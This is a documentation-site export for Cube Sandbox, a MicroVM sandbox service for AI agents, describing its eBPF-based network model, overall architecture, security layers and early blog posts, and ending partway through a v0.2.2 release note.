[Helm Install](./install.md) --- --- url: https://cubesandbox.com/about-us.md description: Introduction to the Tencent Cloud IaaS Frontier Technology Team. --- # About us The Tencent Cloud IaaS Frontier Technology Team is part of the Tencent Cloud IaaS Product organization. We are a professional team dedicated to exploring cutting-edge technologies and achieving breakthroughs in core technical areas. Our work spans high-performance and high-availability networking, Agent Infra, KVCache, collective communication, and more. Several of our core achievements have been deployed at large commercial scale. ## Key Achievements ### Cube Sandbox An ultra-fast, secure sandbox designed specifically for AI Agents, with industry-leading performance. It has been deployed at scale within Tencent Cloud's serverless computing and Agent sandbox platforms, serving numerous leading AI/Agent workloads both inside and outside Tencent. The project is open source. * GitHub: [github.com/tencentcloud/CubeSandbox](https://github.com/tencentcloud/CubeSandbox) ### HARP Protocol Stack An in-house multipath reliable transport protocol, analogous to AWS SRD. It has been implemented in Tencent Cloud's proprietary smart NICs and deployed in Tencent Cloud's storage systems, covering hundreds of thousands of compute nodes at scale. ### HARP Tunnel Tencent Cloud's next-generation Overlay protocol, enabling sub-100ms transparent failure avoidance in the physical network with near-zero overhead. It is deployed at scale across Tencent Cloud's virtual network, covering millions of compute nodes. The related technical work has been accepted at NSDI '26: > [*Harp: Improving VPC Network Availability via Efficient Failure Detection and Reroute in Tencent Cloud*](https://www.usenix.org/conference/nsdi26/presentation/hu-jiayu) ## Contact us We warmly welcome technical exchange and in-depth discussions with peers across the industry. We are also actively hiring — if you are interested in joining us, please reach out: * Email: * GitHub: [github.com/tencentcloud/CubeSandbox](https://github.com/tencentcloud/CubeSandbox) --- --- url: https://cubesandbox.com/architecture/network.md --- # CubeVS Network Model Cube-Sandbox isolates each sandbox with its own virtual network, giving every instance private connectivity to the outside world while enforcing per-sandbox security policies entirely in kernel space. The subsystem that makes this possible is **CubeVS** -- a purpose-built network virtualization layer composed of three eBPF programs, a set of shared BPF maps, and a Go control-plane library. This document explains the architecture, traffic paths, NAT model, policy engine, and lifecycle management that together form the CubeVS network. *** ## 1. Architecture Overview ### 1.1 Design Goals Traditional container networking stacks (Linux Bridge, OVS, iptables-based NAT) add per-packet overhead that grows with the number of tenants on a host. CubeVS replaces that stack with three small, cooperating eBPF programs attached at strategic points in the kernel data path: * **No shared bridge or software switch** -- Each sandbox is directly attached to the kernel data path through its own TAP device, avoiding the broadcast domain and per-hop cost of bridge-based designs. * **Kernel-space policy enforcement** -- Network policies are evaluated in eBPF before a packet ever reaches userspace, keeping CPU overhead minimal. * **Scalable NAT** -- SNAT port allocation uses a lock-protected pool with collision-resistant insertion, avoiding the iptables rule explosion that plagues large deployments. ### 1.2 The Three BPF Programs CubeVS attaches one BPF program to each of the three network boundaries a packet can cross on a host: | Program | File | Attach Point | Direction | Role | |---------|------|-------------|-----------|------| | `from_cube` | `mvmtap.bpf.c` | TC ingress on each TAP device | Sandbox --> Host | Policy check, DNS inspection, SNAT, session creation, ARP proxy | | `from_world` | `nodenic.bpf.c` | TC ingress on host NIC | External --> Host | Reverse NAT, port-mapping proxy | | `from_envoy` | `localgw.bpf.c` | TC egress on cube-dev | Host --> Sandbox | Handle host-side traffic to sandboxes: transparent-proxy replies (CubeEgress) and host-originated probes | ### 1.3 The Go Control Plane The `cubevs/` Go package wraps the BPF lifecycle: * **`Init()`** loads and pins the three BPF object files, injects host-specific constants (IPs, MACs, interface indices), and attaches the shared TC filters. * **`AddTAPDevice()` / `DelTAPDevice()`** register and deregister sandbox TAP devices, including their metadata and network policies (both CIDR-based and domain-based). * **`AttachFilter()`** creates the clsact qdisc on a TAP device and attaches the `from_cube` TC filter. * **`SetSNATIPs()`** populates the SNAT IP pool. * **Port-mapping APIs** (`AddPortMapping`, `DelPortMapping`, ...) update the port-mapping tables at runtime. * **Reapers** run as background goroutines: one sweeps expired NAT sessions, another sweeps expired DNS-learned policy entries. ### 1.4 BPF Maps The three programs share state through pinned BPF maps under `/sys/fs/bpf/`. They fall into six functional groups: | Group | Maps | Purpose | |-------|------|---------| | Device registry | `mvmip_to_ifindex`, `ifindex_to_mvmmeta` | IP-to-device and device-to-metadata lookups for each sandbox | | NAT sessions | `egress_sessions`, `ingress_sessions` | Bidirectional 5-tuple session tracking (see §3) | | SNAT pool | `snat_iplist` | SNAT IPs and per-IP source-port waterlines | | Port mappings | `remote_port_mapping`, `local_port_mapping` | Static NAT rules for services the sandbox exposes (see §7) | | L3/L4 policy | `allow_out_v2`, `deny_out` | Per-sandbox CIDR allow/deny lists (see §5) | | L7 / domain policy | `dns_allow`, `dns_query_track` | Per-sandbox domain rules and pending DNS query state (see §6) | Entries in `allow_out_v2` carry an optional expiration, which lets DNS-learned rules share the map with statically configured ones. Maps are pinned so that programs loaded at different times (for example, per-TAP filters loaded after `Init()`) can share state through the filesystem. *** ## 2. Traffic Flows ### 2.1 Egress: Sandbox to External Network When a sandbox process opens a connection to the outside world, the packet takes the following path: ```mermaid graph LR A["Sandbox
169.254.68.6:src_port"] -->|raw packet| B["TAP Device"] B -->|TC ingress| C["from_cube
(mvmtap.bpf.c)"] C -->|SNAT + policy + session| D["Host NIC"] D --> E["External Network"] ``` **Step by step:** 1. The sandbox sends a packet with source IP `169.254.68.6` (the fixed internal address) and a source port chosen by its TCP/UDP stack. 2. The packet enters the TAP device and hits the `from_cube` TC ingress filter. 3. `from_cube` checks the destination. If it is the sandbox gateway (`169.254.68.5`), the filter redirects the packet into `cube-dev` so the host stack can handle it. 4. For all other destinations, `from_cube`: * **Evaluates network policy** against the destination IP (see §5). Traffic that policy has marked for inspection by the L7 transparent proxy (CubeEgress) is redirected into `cube-dev` instead of being NATed directly; the host-side proxy picks it up from there. * **Inspects DNS queries** on the way out, so that domain-based rules (see §6) can learn the resolved IPs when the response comes back. * **Creates or updates a NAT session** in `egress_sessions` and `ingress_sessions`. * **Performs SNAT**: replaces the sandbox source IP and port with an IP from the SNAT pool and a dynamically allocated port, updating L3 and L4 checksums. * **Redirects** the rewritten packet to the host NIC. ### 2.2 Ingress: External Network to Sandbox Reply packets and port-mapped inbound connections arrive at the host NIC and are routed back to the correct sandbox: ```mermaid graph LR A["External Network"] -->|reply packet| B["Host NIC"] B -->|TC ingress| C["from_world
(nodenic.bpf.c)"] C -->|session lookup + reverse NAT| D["TAP Device"] D --> E["Sandbox
169.254.68.6:dst_port"] ``` `from_world` handles two cases: * **Session-based reverse NAT** -- The filter looks up the packet's 5-tuple in `ingress_sessions`. If a match is found, it reconstructs the original sandbox-side 5-tuple, performs reverse DNAT, and redirects the packet to the correct TAP device. * **Port-mapped inbound** -- If no session matches, the filter checks `remote_port_mapping` using the destination port. A match means this is an inbound connection to a service the sandbox is exposing; the filter DNATs the packet to the sandbox's listen port and redirects to the TAP. ### 2.3 Host-to-Sandbox Traffic Two kinds of host-side traffic reach a sandbox through `cube-dev`, both handled by `from_envoy`: ```mermaid graph LR A["CubeEgress proxy
Host readiness probes"] -->|packet| B["cube-dev"] B -->|TC egress| C["from_envoy
(localgw.bpf.c)"] C -->|DNAT to sandbox IP
redirect| D["TAP Device"] D --> E["Sandbox"] ``` In both cases `from_envoy` rewrites the destination to the sandbox's internal IP (`169.254.68.6`) and redirects the packet to the sandbox's TAP. The two cases differ in how the source address is handled: * **CubeEgress proxy replies.** When outbound HTTP/HTTPS from the sandbox is redirected to the L7 transparent proxy (CubeEgress) on the host, CubeEgress relays the connection to the real remote server and receives the reply. It then forwards the reply back into the sandbox through `cube-dev`, keeping the real remote IP as the source (via `IP_TRANSPARENT`). `from_envoy` **preserves this source IP**, so the sandbox sees the reply as if it came directly from the remote peer. * **Host-originated probes.** The host itself sends readiness and liveness probes to sandbox services. These packets originate from the host stack and leave through `cube-dev` with cube-dev's own address as the source. `from_envoy` **rewrites the source to the sandbox gateway** (`169.254.68.5`), so the sandbox sees the probe as coming from its default gateway. *** ## 3. Session Tracking CubeVS maintains stateful connection tracking so that reply packets can be correctly reverse-NATed and so that stale connections are cleaned up. ### 3.1 Dual-Map Design Two maps work in tandem: * **`egress_sessions`** is the primary session table. The key is the original 5-tuple as seen from the sandbox side. The value holds the full NAT state: SNAT IP and port, TAP ifindex, timestamps, TCP state, and a flag for active-close handling. * **`ingress_sessions`** is the reverse-lookup table. The key is the 5-tuple as seen from the external side. The value stores just enough information to reconstruct the `egress_sessions` key and perform the reverse NAT. This dual-map approach avoids duplicating the full session state in both directions while still enabling efficient O(1) lookups from either side of the connection. ### 3.2 Protocol Tracking CubeVS mirrors the Linux kernel's `nf_conntrack` for TCP: it tracks the standard states (`SYN_SENT`, `ESTABLISHED`, `FIN_WAIT`, `TIME_WAIT`, ...) so that a session's timeout reflects its protocol state -- `ESTABLISHED` sessions can safely live for hours, while half-open sessions and closed sessions are reaped in seconds to minutes. UDP and ICMP use a simpler two-state model (`UNREPLIED` / `REPLIED`), with the timeout extending when the first reply arrives. ### 3.3 Session Reaper A Go background goroutine runs every 5 seconds and walks `egress_sessions`. For each session it compares `now - access_time` against a state-specific timeout: | Protocol | State | Timeout | |----------|-------|---------| | TCP | SYN\_SENT / SYN\_RECV | 1 minute | | TCP | ESTABLISHED | 3 hours | | TCP | FIN\_WAIT | 2 minutes | | TCP | CLOSE\_WAIT | 1 minute | | TCP | LAST\_ACK | 30 seconds | | TCP | TIME\_WAIT | 2 minutes (10 seconds if the sandbox initiated the close) | | TCP | CLOSE | 10 seconds | | UDP | UNREPLIED / REPLIED | 30 s / 180 s | | ICMP | Any | 30 seconds | When a session expires, the reaper deletes both the `egress_sessions` and `ingress_sessions` entries. If the session was not in a normal terminal state (for example, `ESTABLISHED` timing out without a FIN), the reaper logs a warning. It also monitors session count and alerts when occupancy exceeds 80% of the map's capacity. *** ## 4. SNAT and DNAT ### 4.1 SNAT: Outbound Address Translation Every outbound packet from a sandbox must be rewritten with a routable source address before it can leave the host. CubeVS performs this in `from_cube` using a pool of up to four SNAT IPs. **IP selection** is deterministic per sandbox: `index = jhash(sandbox_ip) % 4`. All connections from the same sandbox therefore use the same SNAT IP, which simplifies external firewall rules and logging. **Port allocation** works as a monotonically increasing waterline per SNAT IP entry, starting at port 30000. The entry is protected by a BPF spin lock so concurrent allocations on different CPUs do not race. If the chosen `SNAT-IP:port` collides with an existing entry in `ingress_sessions`, the allocator bumps the port and retries a bounded number of times before dropping the packet. After a successful allocation, `from_cube` updates the IP and transport headers in place and redirects the packet to the host NIC. ### 4.2 DNAT: Inbound Address Translation DNAT occurs in three contexts: 1. **Host-to-sandbox traffic** (`from_envoy` on cube-dev) -- The destination IP is rewritten to the sandbox's internal IP (`169.254.68.6`). The source is either preserved (CubeEgress proxy replies) or rewritten to the sandbox gateway (host-originated probes); see §2.3. 2. **Session reply traffic** (`from_world` on host NIC) -- The destination IP and port are rewritten from the node's SNAT address back to the sandbox's original source address and port, using the reverse-lookup in `ingress_sessions`. 3. **Port-mapped traffic** (`from_world` on host NIC) -- For services exposed via port mapping, the destination is rewritten to the sandbox's listen port using `remote_port_mapping` directly, without touching the session tables. *** ## 5. Network Policy (CIDR-based) CubeVS enforces per-sandbox outbound network policies entirely in kernel space, using LPM (Longest Prefix Match) tries for CIDR-based rules. ### 5.1 Architecture Each sandbox can have two LPM tries associated with its TAP device: * **`allow_out_v2`** -- An allow list of destination CIDRs. If the destination matches, the packet is allowed regardless of the deny list. Entries can carry an expiration, which is how DNS-learned rules (§6) coexist with static ones in the same map. * **`deny_out`** -- A deny list of destination CIDRs. If the destination matches (and it was not in the allow list), the packet is dropped. Both are implemented as hash-of-maps keyed by TAP ifindex, so policy updates for one sandbox never touch the maps belonging to other sandboxes. ### 5.2 Evaluation Order For each outbound packet: 1. If the destination is the sandbox gateway (`169.254.68.5`): allow (internal traffic). 2. If `allow_out_v2` has a matching entry: allow. 3. If `deny_out` has a matching entry: drop. 4. Otherwise: allow. The priority is **allow > deny > default-allow**, so an operator can install a broad deny rule (`0.0.0.0/0`, blocking all internet access) and then punch specific holes with allow rules. Regardless of policy configuration, CubeVS always denies the following private and link-local ranges so that a sandbox cannot probe the host's internal network or other sandboxes: `10.0.0.0/8`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, `192.168.0.0/16`. ### 5.3 Policy Configuration When a TAP device is registered, the caller provides an `MVMOptions` struct with: * `AllowInternetAccess` -- if `false`, a blanket `0.0.0.0/0` deny rule is installed. * `AllowOut` / `DenyOut` -- lists of CIDRs (or, for `AllowOut`, domain names -- see §6). Policies can be updated at runtime by modifying the inner LPM tries without detaching or reloading BPF programs. *** ## 6. Network Policy (Domain-based) CIDR rules are not enough when a service's IPs are dynamic (CDNs, cloud APIs). CubeVS therefore also supports **domain-based** allow rules that are learned from the sandbox's own DNS traffic. ### 6.1 How It Works Domain rules are stored per sandbox in `dns_allow`, an LPM trie keyed by reversed lower-case domain name. Two shapes are supported: * Exact match, for example `qq.com` -- matches only `qq.com`. * Wildcard prefix, for example `*.qq.com` -- matches subdomains such as `a.qq.com` but not the apex. When the sandbox sends a DNS query, `from_cube` extracts the queried name and looks it up in `dns_allow`. If the name is allowed, the query id and source port are recorded in `dns_query_track`. When the response comes back, `from_world` matches it against `dns_query_track`, extracts the A-records, and inserts each resolved IP into the sandbox's `allow_out_v2` with an expiration derived from the DNS TTL. The DNS reaper sweeps expired entries in the same way the NAT session reaper sweeps stale connections. Because DNS-learned rules land in the same `allow_out_v2` map as static CIDRs, the fast path in §5 does not need any special case for them. ### 6.2 Zero Cost When Unused DNS interception is opt-in per sandbox. Both `from_cube` and `from_world` gate the entire DNS pipeline on a single flag in the sandbox's metadata (`dns_policy_flags`), which is set only when the caller configures domain rules. If it is not configured, DNS packets take the ordinary UDP path with no extra parsing, no `dns_query_track` bookkeeping, and no per-packet lookup into `dns_allow`. Sandboxes that only use CIDR policy pay nothing for the domain-policy machinery. *** ## 7. Port Mapping Sandboxes are not directly reachable from outside the host. When a sandbox needs to expose a service, CubeVS provides port mapping -- a static NAT rule that forwards traffic arriving at a specific host port to a specific sandbox port. ### 7.1 Dual Mappings Two BPF maps support port mapping: * **`remote_port_mapping`** maps a host port to a (TAP ifindex, sandbox listen port) pair. Used by `from_world` to route inbound connections to the right sandbox. * **`local_port_mapping`** maps (TAP ifindex, sandbox listen port) back to the host port. Used by `from_cube` as an optimization: when a sandbox sends a packet from a mapped listen port, the filter can skip full session creation and directly SNAT to the node IP with the correct port. ### 7.2 Inbound Flow 1. An external client sends a packet to `node_ip:host_port`. 2. `from_world` looks up `remote_port_mapping[host_port]`. 3. On a match, the filter rewrites the destination to `169.254.68.6:sandbox_listen_port` and redirects to the TAP device. This path does not create entries in the session tables, which keeps the maps lean for long-lived service connections. ### 7.3 Management The Go API provides `AddPortMapping()`, `DelPortMapping()`, `ListPortMapping()`, and `GetPortMapping()` for managing mappings at runtime. ### 7.4 Compute-Node Port Allocation To prevent collisions between subsystems, the host's usable port space is partitioned into three ranges: | Port range | Purpose | |------------|---------| | `10000`--`19999` | Host ephemeral ports (`ip_local_port_range`) | | `20000`--`29999` | Ports CubeProxy uses to reach sandboxes | | `30000`--`65535` | Source ports used by SNAT for sandbox-originated traffic | Cubelet's embedded network runtime allocates host ports for sandbox port mappings only from `20000`--`29999`. The product create path exposes container ports via `exposedPorts` and always requests automatic host-port allocation (`HostPort=0`); users cannot choose a specific host port. The runtime then assigns a free port from this managed range and returns the mapping in the create response. *** ## 8. TAP Device Lifecycle Each sandbox gets a dedicated TAP device that serves as its sole network interface on the host side. CubeVS manages the full lifecycle of these devices. **Registration.** When the sandbox runtime creates a new sandbox, it calls `AddTAPDevice(ifindex, ip, id, version, options)`, which writes the sandbox's metadata into `ifindex_to_mvmmeta` and `mvmip_to_ifindex`, and initializes the per-sandbox policy maps (CIDR and domain rules) from `options`. The always-denied CIDRs from §5.2 are installed first, then any caller-specified rules. **Filter attachment.** Once the TAP device exists at the OS level, `AttachFilter(ifindex)` creates a clsact qdisc on it and attaches the `from_cube` TC filter. From this point on, every packet the sandbox sends is intercepted. **Teardown.** `DelTAPDevice(ifindex, ip)` removes the per-sandbox policy maps and the device-registry entries. Active sessions referencing this TAP device are left in place -- the session reaper cleans them up when they time out, which avoids an expensive full-map scan at teardown time. *** ## 9. Initialization `cubevs.Init()` is called once when Cubelet's embedded network runtime starts (during network plugin / `NetworkController` startup). It loads and pins the three BPF programs and their maps under `/sys/fs/bpf/`, injecting host-specific values (sandbox IP and gateway IP, cube-dev interface index/IP/MAC, host NIC interface index/IP/MAC, next-hop gateway MAC) into the BPF bytecode before load. It then attaches the shared TC filters: `from_envoy` to cube-dev's egress, and `from_world` to the host NIC's ingress. Per-TAP `from_cube` filters are attached later, one at a time, as sandboxes are created (§8). *** ## 10. ARP Proxy Sandboxes are assigned a link-local IP (`169.254.68.6`) with `169.254.68.5` as their default gateway. Since these addresses exist only inside the TAP device's point-to-point link, there is no real host at `169.254.68.5` to answer ARP requests -- and, unlike a bridge-based setup, there is no shared L2 segment on which such a request could be flooded. `from_cube` acts as the ARP responder: when the sandbox asks *"Who has 169.254.68.5?"*, the filter constructs an ARP reply on the fly, filling in the sender MAC with the cube-dev gateway MAC, and redirects it back out the TAP. The sandbox now has a valid ARP entry for its gateway and can send IP packets normally, all of which are then handled by the egress path in §2.1. *** ## 11. Summary CubeVS achieves sandbox network isolation through a three-layer eBPF architecture: ```mermaid graph TB subgraph "Host" EG["CubeEgress proxy /
Host probes"] CD["cube-dev
(from_envoy)"] NIC["Host NIC
(from_world)"] end subgraph "Sandbox TAP Devices" T1["TAP 1
(from_cube)"] T2["TAP 2
(from_cube)"] T3["TAP N
(from_cube)"] end subgraph "Sandboxes" S1["Sandbox 1"] S2["Sandbox 2"] S3["Sandbox N"] end EG --> CD CD --> T1 & T2 & T3 T1 --> S1 T2 --> S2 T3 --> S3 S1 --> T1 S2 --> T2 S3 --> T3 T1 & T2 & T3 -->|SNAT| NIC NIC -->|Reverse NAT| T1 & T2 & T3 NIC --> EXT["External Network"] EXT --> NIC ``` The design rests on two ideas: * **Data-path logic lives in the kernel.** Policy evaluation, NAT, session tracking, DNS learning, and ARP resolution all happen in eBPF; the Go control plane only manages lifecycle and periodic cleanup. * **Each sandbox is isolated end-to-end.** Its own TAP device, its own policy maps, its own sessions -- no shared bridge or switch stands between two sandboxes on the same host. --- --- url: https://cubesandbox.com/architecture/overview.md --- # Architecture Overview Cube Sandbox is a **purpose-built AI Agent infrastructure** that boots hardware-isolated MicroVMs in tens of milliseconds. This page describes the overall system architecture, the core components, and how they interact. ## Design Principles | Principle | How it manifests | |-----------|-----------------| | **Agent-first** | Beyond the classic "LLM calls tool → sandbox executes → returns" loop, the lifecycle semantics, SDK shape, auto-pause/resume, and lightning-fast clone/rollback are designed to host long-running agents and stateful services (e.g. a persistent dev environment, a web service, or a database) directly inside sandboxes. | | **Hardware Isolation** | Each sandbox runs its own Linux kernel inside a KVM MicroVM. No shared-kernel escape surface. | | **Millisecond-class Boot** | Pre-snapshotted templates plus a RustVMM restore path yield sub-100ms cold starts. | | **Zero-Trust Egress** | All outbound traffic traverses CubeEgress (an L7 MITM proxy) — domains must be explicitly allowed. | | **Stateless Control Plane** | CubeAPI and CubeMaster hold no local state; all coordination goes through Redis, so horizontal scale-out is trivial. | | **Efficient Storage** | CubeCoW leverages the kernel `FICLONE` ioctl for O(1) snapshots and clones with zero data copying. | ## High-Level Architecture ![Cube Sandbox Architecture](../assets/cube-sandbox-arch.png) ```mermaid flowchart TB Client["Client / SDK"] -->|E2B-compatible REST| API["CubeAPI"] API -->|gRPC| Master["CubeMaster"] Master -->|gRPC| Cubelet["Cubelet"] Cubelet -->|containerd Shim v2| Shim["CubeShim"] Shim -->|KVM API| Hyp["CubeHypervisor
(RustVMM)"] Hyp --> VM["MicroVM
(Sandbox)"] Master -.->|lifecycle events| Redis["Redis"] Proxy["CubeProxy"] -.->|metadata lookup| Redis Client -->|HTTP to sandbox service| Proxy Proxy -->|route to sandbox| VM Cubelet -->|volume ops| CoW["CubeCoW
(xfs-reflink)"] VM -->|egress traffic| VS["CubeVS
(eBPF)"] VS -->|TPROXY| Egress["CubeEgress
(OpenResty)"] VS -->|SNAT| Internet["Internet"] ``` ## Control Plane vs Data Plane | Layer | Components | Responsibilities | |-------|-----------|-----------------| | **Control Plane** | CubeAPI, CubeMaster, WebUI, Redis | API gateway, scheduling, state coordination, operator dashboard | | **Data Plane** | Cubelet, CubeShim, CubeHypervisor, CubeCoW, CubeVS, CubeEgress, CubeProxy | VM lifecycle, storage, networking, security enforcement, request routing | The control plane is **stateless** — Redis is the single source of truth for sandbox metadata and lifecycle events, so any CubeAPI or CubeMaster instance can serve any request. The data plane is **node-local** — each compute node runs Cubelet, CubeShim, CubeHypervisor, CubeVS, and CubeEgress to manage the sandboxes resident on that host. ## Core Components ### CubeAPI E2B-compatible REST API gateway written in **Rust** (Axum). Translates E2B SDK calls into internal gRPC, handles authentication callbacks, and forwards to CubeMaster. Switching from E2B Cloud to Cube Sandbox is as simple as replacing environment variables such as the API URL. ### CubeMaster Cluster-level orchestration scheduler written in **Go**. Receives sandbox create/destroy/pause/resume requests, selects target nodes based on resource availability, dispatches work to Cubelet, and publishes lifecycle events to Redis. ### CubeProxy Reverse proxy and request routing component built on **OpenResty** (nginx + Lua). It supports two routing modes that share the same Redis-backed sandbox metadata: * **Host-based**: parses `-.` from the `Host` header. * **Path-based**: parses `/sandbox///...` from the URL path (useful when wildcard DNS and TLS are inconvenient — see the [HTTPS & Domain guide](../guide/https-and-domain.md)). It is paired with the standalone **cube-lifecycle-manager** service (written in **Go**) that watches lifecycle events, transparently pauses idle sandboxes, and resumes paused ones on incoming requests. cube-lifecycle-manager discovers every live CubeProxy replica in real time through a Redis-backed registration table, so CubeProxy can scale to multiple replicas without any static wiring. ### Cubelet Node-local scheduling agent written in **Go**. Manages the full lifecycle (create → run → pause → resume → snapshot → destroy) of all sandbox instances on a single node. Integrates with containerd for image pull and with CubeCoW for volume management. ### CubeShim Implements the **containerd Shim v2** interface in **Rust**, bridging the container runtime abstraction and the actual MicroVM. Handles sandbox resource preparation (rootfs, memory file, kernel), VM boot/restore, vsock communication, and in-place snapshot for auto-pause. ### CubeHypervisor The lightweight VMM (Virtual Machine Monitor) built on **RustVMM** + **KVM**. Manages the MicroVM lifecycle: vCPU setup, memory regions, virtio devices (block, net/vsock, fs), boot, pause, snapshot, and restore. Seccomp-hardened with a minimal syscall surface. ### CubeVS (Network Virtualisation) eBPF-based kernel-space network data plane. Three BPF programs attached at strategic points provide: * **Per-sandbox SNAT/DNAT** without iptables rule explosion. * **Stateful connection tracking** with protocol-aware timeouts (TCP 11-state machine, UDP, ICMP). * **LPM-trie network policy** enforcement at line rate. * **ARP proxy** for point-to-point TAP links. See [CubeVS Network Model](./network.md) for the deep dive. ### CubeCoW (Storage Engine) A **Rust** library providing thin-provisioned volume management with O(1) snapshot and clone via the kernel `FICLONE` ioctl on XFS (reflink). Key properties: * Snapshot is metadata-only (shared extents, no byte-copy). * Flat snapshot model — deleting one snapshot never touches another. * **Incremental dirty-page tracking**: snapshots only persist anonymous (dirty) memory pages that have changed since the last snapshot — unchanged pages remain shared via reflink, minimizing both write amplification and snapshot size. * Cubelet calls CubeCoW for all rootfs and memory volume operations (create, clone, snapshot, delete). ### CubeEgress (Security Proxy) Per-host transparent **L7 egress proxy** (OpenResty + Lua) that intercepts every outbound HTTP/HTTPS request via TPROXY: * **Domain filtering** — allow/deny by SNI, host, method, scheme, or path. * **Credential injection** — append `Authorization` headers so secrets never enter the sandbox. * **Access auditing** — every decision logged to per-host JSONL audit logs. The sandbox trusts a CubeEgress-issued root CA (baked into the template), enabling transparent TLS inspection. ### WebUI Browser-based management console (`:12088`). Provides sandbox, template, node, and version-matrix management without CLI access. See the [WebUI guide](../guide/webui.md). ## Request Lifecycle A typical `Sandbox.create()` call flows through the system as follows: ```mermaid sequenceDiagram participant C as Client / SDK participant A as CubeAPI participant M as CubeMaster participant R as Redis participant L as Cubelet participant S as CubeShim participant H as CubeHypervisor participant V as CubeVS C->>A: POST /sandboxes (E2B-compatible) A->>M: gRPC CreateSandbox M->>M: Select target node (resource fit) M->>L: gRPC RunCubeSandbox L->>L: Prepare rootfs (CubeCoW clone from template) L->>S: containerd Shim v2 → Create + Start S->>H: launch_vmm() → create_vm() → restore_vm() H-->>S: VM ready (vsock listening) S-->>L: Task started L->>V: AddTAPDevice + AttachFilter L-->>M: Sandbox running M->>R: Publish lifecycle event M-->>A: Sandbox ID + metadata A-->>C: 201 { sandbox_id, ... } ``` ## Storage Layer ``` Template (read-only base) └── FICLONE ──→ Sandbox rootfs volume (CoW) ├── FICLONE ──→ Snapshot A └── FICLONE ──→ Clone 1, Clone 2, ... ``` * **Template creation**: OCI image → Buildkit → rootfs + cold-boot → memory snapshot → registered as a template. * **Sandbox boot**: Cubelet clones the template's rootfs and memory volumes via CubeCoW (O(1), no data copy), then CubeShim restores the VM from the memory snapshot. * **Incremental snapshot**: Only anonymous (dirty) pages are written; base pages are shared with the previous snapshot via reflink. ## Network Layer Each sandbox gets a dedicated TAP device. CubeVS's three eBPF programs handle all data-plane forwarding in kernel space: | Program | Attach Point | Direction | Role | |---------|-------------|-----------|------| | `from_cube` | TC ingress on TAP | Sandbox → Host | SNAT, policy, ARP proxy | | `from_world` | TC ingress on host NIC | External → Host | Reverse NAT, port mapping | | `from_envoy` | TC egress on cube-dev | Proxy → Sandbox | DNAT, transparent proxy support | No iptables rules, no Linux Bridge, no OVS — pure eBPF at each boundary. ## Security Layer Security is enforced at multiple levels: 1. **Hardware isolation** — KVM MicroVM with a dedicated kernel per sandbox. 2. **Network isolation** — CubeVS denies private/link-local ranges by default, with per-sandbox allow/deny policies. 3. **Egress control** — CubeEgress L7 proxy with domain allowlists. 4. **Credential vault** — secrets injected via header rewriting; never exposed to the sandbox or model context. 5. **Seccomp** — CubeHypervisor runs with a minimal syscall whitelist. 6. **Authentication** — CubeAPI supports pluggable auth callbacks. ## Supporting Infrastructure | Component | Role | |-----------|------| | **Redis** | Shared state for sandbox metadata, lifecycle event stream, the CubeProxy routing table, and distributed locks for auto-pause/resume coordination. | | **containerd** | Image pull, storage, and CRI integration on each node. CubeShim registers as a Shim v2 runtime. | | **Buildkit** | Template build engine — converts OCI images into Cube Sandbox-ready rootfs + snapshot bundles. | ## Next Steps * [CubeVS Network Model](./network.md) — deep dive into CubeVS, traffic flows, session tracking, and the policy engine. * [Sandbox Lifecycle](../guide/lifecycle.md) — state model, auto-pause, and auto-resume. * [Snapshot, Rollback & Clone](../guide/snapshot-rollback-clone.md) — CubeCoW-powered advanced APIs. * [Cross-Node Snapshots](../guide/cross-node-snapshot.md) — S3 Pause / Resume / FromSnap on another node. * [Security Proxy](../guide/security-proxy.md) — CubeEgress domain filtering and credential injection. * [Performance Benchmark](../guide/performance-benchmark.md) — cold-start, snapshot, and density numbers. * [Templates Overview](../guide/templates.md) — the three-step template lifecycle. --- --- url: https://cubesandbox.com/blog.md --- --- --- url: https://cubesandbox.com/blog/posts/2026-05-15-welcome.md description: >- We are launching a blog to share release notes, technical deep-dives, and community stories around Cube Sandbox. --- # Welcome to the Cube Sandbox Blog We are launching this blog to share release notes, technical deep-dives, and community stories around Cube Sandbox — an instant, concurrent, secure and lightweight sandbox service built for AI agents. ## What you can expect * **Release notes** for every minor and major version, with migration tips. * **Architecture posts** about the runtime, networking model (CubeVS), and template system. * **How-to guides** showing real-world integrations with agent frameworks. * **Community spotlights** featuring use cases from the ecosystem. Stay tuned — we will be posting regularly. --- --- url: https://cubesandbox.com/blog/posts/2026-05-17-aws-nested-virt-cube-deploy.md description: >- A community walkthrough covering the full deployment of Cube Sandbox on an AWS EC2 nested-virtualization instance (c8i.2xlarge) — environment setup, three required patches (Cubelet, CubeShim, and Guest image), service bring-up, template creation, and sandbox creation via the E2B-compatible SDK. Note: original article is in Simplified Chinese. --- --- --- url: https://cubesandbox.com/blog/posts/2026-05-19-cubesandbox-v0.2.2-release.md description: >- Following v0.2.0, Cube Sandbox shipped v0.2.2 on May 18. This release extends E2B compatibility from the SDK layer down to the wire-protocol layer, fixes seven recurring stability issues from the v0.1.x era, and lands the first round of CVE remediations for the 0.2 series. --- # Cube Sandbox v0.2.2: One Step Closer to Drop-in E2B Compatibility, with a Stability Sweep Following v0.2.0, Cube Sandbox shipped v0.2.2 on the evening of May 18. Compared with v0.2.0, this release focuses on three things: extending E2B compatibility from the SDK layer down to the wire-protocol layer; closing out a handful of recurring stability issues reported since v0.1.x; and shipping the first round of CVE remediations for the 0.2 series. ## 1. Compatibility down to the protocol layer — one step closer to drop-in E2B migration In v0.2.0, our E2B compatibility only covered the SDK layer — you could swap the client from E2B to Cube without touching a line of code, but reverse proxies, firewall rules, and any client that hard-coded ports still needed adjusting. v0.2.2 changes the sandbox's default exposed port from `8080/32000` to `49983`, aligning it with the E2B sandbox protocol. That means you no longer need to touch your config files when migrating to Cube. We also unified the source of truth for the "default port" into CubeMaster. Previously, Cubelet and network-agent each hard-coded their own default, which occasionally caused the two sides to drift. After this refactor, neither component holds a default any more — behavior is governed by CubeMaster. ## 2. Stability: seven recurring user-reported issues, all fixed in one go A handful of issues that the community kept hitting between v0.1.x and v0.2.0 have been swept up in this release: 1. **`cubecli exec` nil-deref panic on stdin EOF** ([#188](https://github.com/TencentCloud/CubeSandbox/pull/188)): the `exec` command panicked the moment stdin closed; the process was killed but no error showed up in logs, leading users to misdiagnose it as a network or permission issue. The fix uses `errors.Is(err, io.EOF)` to handle wrapped errors, and the shim now reliably emits paired exec-request / exit-code log entries. 2. **Duplicate template-image jobs in CubeMaster** ([#227](https://github.com/TencentCloud/CubeSandbox/pull/227)): concurrent or retried API calls could enqueue the same build twice. We added a `request_id` column and a `(request_id, operation)` unique index on the `template_image` table to enforce idempotency at the data layer. Legacy rows 